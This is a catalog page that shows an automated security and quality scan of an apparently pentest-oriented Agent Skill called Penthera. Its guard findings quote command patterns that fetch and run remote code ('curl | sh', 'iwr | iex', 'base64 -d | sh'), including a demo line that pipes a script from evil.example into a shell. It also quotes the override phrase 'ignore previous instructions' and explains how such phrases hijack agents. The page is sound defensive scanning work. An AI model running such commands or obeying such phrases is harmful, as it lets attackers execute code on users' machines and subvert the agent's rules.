SKILLEMALL.ai
GitHub ↗ RU Sign in

FD commands

Penthera ships as an Agent Skill, the open format used by Cursor, Claude Code, Claude.ai, and 40+ agent tools.

Not recommendedcritical or high security findings · low grade F
danoszz/penthera Agent Skills author: danoszz 14 files body ≈ 647 tokens Open the sourcegithub.com↗ analyzed 5 h ago

Penthera ships as an Agent Skill, the open format used by Cursor, Claude Code, Claude.ai, and 40+ agent tools.

As a process D 43/100 · Unfinished process — weak spots: result and completion, when it triggers, inputs and preconditions

IntegrationGitHubAI and agentstype and topics are labelled automatically from the skill text
Runs in: Claude / Claude Code ChatGPT / Codex Gemini CLI Cursor GitHub Copilot / VS Code Qwen Code Kimi Code CLI Z.ai (GLM) DeepSeek (Deep Code) Mistral Vibe LangChain (deepagents) OpenClaw Goose OpenCode
JSON
Technical rating
F
49/100
safety, quality, tests
Safety 60%
61
Quality 40%
31
Run on models
none yet
Process rating
D
43/100
Unfinished process
Result and completion w 14
0
Inputs and preconditions w 11
0
Failures and branches w 10
0
the three weakest of ten parameters · all ten

What is at stake

The skill contains fragments that, in the wrong hands, cost money or data. Below: what the installer risks and what the author should do.

Dangerous commands
If you install

The skill contains commands that delete files, rewrite disks or execute code fetched from the network. The agent may run them without asking if it believes the instructions require it.

For the author

Replace destructive commands with safe equivalents that ask for confirmation, scope them to one folder, and stop piping curl into a shell: pin a version and a checksum.

Instruction override medium severity

Below is the worst case for this category. The finding here is medium: the guard saw a sign, not a proof.

If you install

The text contains phrases like "ignore previous instructions" or "you are now…". That is an attempt to hijack the agent: it may break your rules, the system limits or company policy.

For the author

An honest skill does not need them: state the role and the rules directly without overriding other instructions. Otherwise catalog scanners and corporate filters will block the listing.

How to improve

  1. Address the high-severity findings: each costs 18 safety points. If one is a false positive, add the rule id to guard.allow in spec.yaml.
  2. Say in the description WHEN to use the skill ("use when…", example requests): that is the agent's main cue.
For the model run — optional
  • Your own cases (evals/evals.json, 4–6 real requests with expected answers): the full check would then run those instead of a model-drafted suite.
  • A spec.yaml with trigger phrases and assertions — a behaviour contract for CI; `skilltest init` writes a template.

Guard findings · 10

  • high Dangerous commands cmd-encoded-exec agents.md:31
    Executes a base64/encoded payload (documentation table row)
    | Code execution | `curl \| sh`, `wget \| bash`, `bash <(curl …)`, `eval "$(curl …)"`, `base64 -d \| sh`, `exec(base64…)`, PowerShell `iwr \| iex`, in skills, scripts, hooks and MCP launch commands |
    table
Medium and low: 9
  • medium Dangerous commands cmd-pipe-to-shell agents.md:31
    Downloads and executes remote code from an unrecognised host (pipe to shell) (documentation table row)
    | Code execution | `curl \| sh`, `wget \| bash`, `bash <(curl …)`, `eval "$(curl …)"`, `base64 -d \| sh`, `exec(base64…)`, PowerShell `iwr \| iex`, in skills, scripts, hooks and MCP launch commands |
    table
  • medium Instruction override en-ignore-previous mcp.md:125
    Instruction-override phrase ("ignore previous instructions") (quoted — discussed, not commanded)
    A file that says "ignore previous instructions" becomes a finding, not a
    quoted
  • medium Dangerous commands cmd-pipe-to-shell-known-host skill.md:23
    Pipe-to-shell installer from a well-known host (still executes remote code)
    curl -fsSL https://raw.githubusercontent.com/danoszz/penthera/main/install.sh | bash
  • low Risky intent intent-offensive-security action.md:143
    Offensive-security / dual-use content (legitimate for authorised testing; review intended use)
    - It does not replace a penetration test where a contract or a regulator asks
  • low Dangerous commands cmd-eval-dynamic agents.md:31
    Dynamic code execution from decoded/untrusted input (documentation table row)
    | Code execution | `curl \| sh`, `wget \| bash`, `bash <(curl …)`, `eval "$(curl …)"`, `base64 -d \| sh`, `exec(base64…)`, PowerShell `iwr \| iex`, in skills, scripts, hooks and MCP launch commands |
    table
  • low Dangerous commands cmd-pipe-to-shell hook.md:32
    Downloads and executes remote code from an unrecognised host (pipe to shell) (security demo / example; quoted — discussed, not commanded)
    → Launch command contains a download piped to a shell: `curl https://evil.example/x.sh | sh`.
    demoquoted
  • low Risky intent intent-offensive-security init.md:140
    Offensive-security / dual-use content (legitimate for authorised testing; review intended use)
    - It is not a penetration test by a person. It checks known classes of problem.
  • low Risky intent intent-offensive-security scan.md:185
    Offensive-security / dual-use content (legitimate for authorised testing; review intended use)
    cp pentest.config.example.js pentest.config.js   # gitignored
  • low Risky intent intent-offensive-security scan.md:188
    Offensive-security / dual-use content (legitimate for authorised testing; review intended use) (quoted — discussed, not commanded)
    Edit the route groups, then run `npm run pentest:live`. Set `PENTEST_BASE_URL` to
    quoted

Files scanned: 14. Evidence is masked. Grey chips explain why severity was lowered.

Against the Agent Skills spec

  • error name-missing SKILL.md: frontmatter has no `name`
  • warning description-no-when description does not say WHEN to use the skill (no "use when")
  • note frontmatter-key unknown frontmatter key "title"
  • note frontmatter-key unknown frontmatter key "sidebarTitle"

Process rating: all ten parameters 43/100

  • 0Result and completion. Does not say what the result is
  • 0Inputs and preconditions. Does not say what the process needs to start
  • 0Failures and branches. Linear process with no failure handling
  • 0Progress reporting. Says nothing while it works
  • 20When it triggers. No condition that starts the skill
  • 30Running it twice. 1 mutating operations with no state check
  • 60Tools and files. Uses tools (bash) that frontmatter does not declare
  • 100Steps. 6 steps
  • 100Consistency. Name and required fields are in place
  • 100Execution cost. Instruction body is 647 tokens

Everything here is measured from the skill text rather than judged by a model, so the numbers are checkable. A parameter weighs more when it is a more common reason for the process to stall.

Quality signals

  • +5Description has no quoted example phrases that should trigger the skill
  • +4Description does not say when NOT to use the skill (false activations)
  • +3Description length 110: 120–800 characters recommended
  • +4Structure: 1 headings, hard to scan
  • +3Output format is not stated: the model decides each time
  • -2localhost URLs: will not work for another user
  • +1No license
  • +2Single-language instructions
  • +3Step-by-step instructions: 6 items
  • +4Has examples (4 code blocks)

Quality base 70; lint remarks subtract, signals add up to 100. Result: 31.